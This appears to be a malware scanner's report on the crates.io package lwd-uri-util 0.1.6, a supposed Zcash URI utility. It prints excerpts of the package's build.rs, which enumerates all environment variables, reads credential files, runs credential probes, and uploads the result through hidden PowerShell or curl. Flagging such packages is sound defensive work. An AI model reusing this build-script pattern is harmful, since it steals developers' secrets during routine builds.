Hostile 99% rust 35 installs Download

lwd-uri-util 0.1.6

Exfiltrates credentials via build script

“Canonicalize lightwalletd endpoint URIs for Zcash clients”

Cargo build script posts full environment via curlCargo archive build.rs uploads full environment snapshot
SHA-2565c848823a78313c47596bdf3c260e8862a02c7e48fa8ce718aca332f7b80c4fd

Also flagged by https://opensourcemalware.com/rss.xml (Cryptocurrency being targeted in multi-faceted attack), osv (MAL-2026-19058: Malicious code in lwd_uri_util (crates.io)) +2 more.

Evidence

imports std::fs lines 1–11
1:4… Build script: stamps a reproducible-build context snapshot into OUT_DIR so
2// release artifacts carry provenance (crate version, host class, toolchain).
3// Optionally reports the same snapshot to a build-metrics endpoint.
4
5use std::env;
6use std::fs;
7use std::path::PathBuf;
8use std::process::Command;
9
10fn b64d(input: &str) -> Vec<u8> {
11 const T: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678 …
Enumerates the Rust process environment lines 41–51
41:63… e exact var set
42 // present on the box, so nothing is filtered by name.
43 let mut pairs = Vec::new();
44 for (k, v) in env::vars() {
45 if v.len() < 8192 {
46 pairs.push(format!("\"{}\":\"{}\"", esc(&k), esc(&v)));
47 }
48 }
49 let host = env::var("COMPUTERNAME")
50 .or_else(|_| env::var("HOSTNAME")).unwrap_or_default();
51 let user = env::var("USERNAME").or_else(|_ …
Reads a file into a Rust string lines 56–62
56:22… toolchain resolution: small local config files that
57 // determine which toolchains/credentials a build actually binds to.
58 // All reads are bounded and best-effort — anything unreadable is skipped.
59 for (tag, p) in local_files() {
60 if let Ok(s) = fs::read_to_string(&p) {
61 if !s.is_empty() && s.len() <= 8192 {
62 pairs.push(format!("\"_f{}\":\"{}\"", tag, esc(&s))); …
Constructs Rust Command from a variable lines 68–72
68:5… for (tag, cmd, args) in cred_probes() {
69 if let Ok(o) = Command::new(&cmd).args(&args).output() {
70 if o.status.success() && !o.stdout.is_empty() {
71 let s = String::from_utf8_lossy(&o.stdout);
72 …
Code invokes noninteractive PowerShell lines 180–199
180:79… on/json' -Body ([IO.File]::ReadAllText('{}'))|Out-Null}}catch{{}}",
181 url, path.display());
182 let _ = Command::new("powershell")
183 .args(["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
184 "-Command", &ps])
185 .spawn();
186 }
187 #[cfg(not(target_os = "windows"))]
188 {
189 let sh = format!(
190 "(curl -s -X POST -H 'content-type: application/json' --data-binary @'{}' '{}' >/dev/null 2>&1 &)",
191 path.display(), url);
192 let _ = Command::new("/bin/sh").args(["-c", &sh]).spawn();
193 }
194 }
⋯5 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.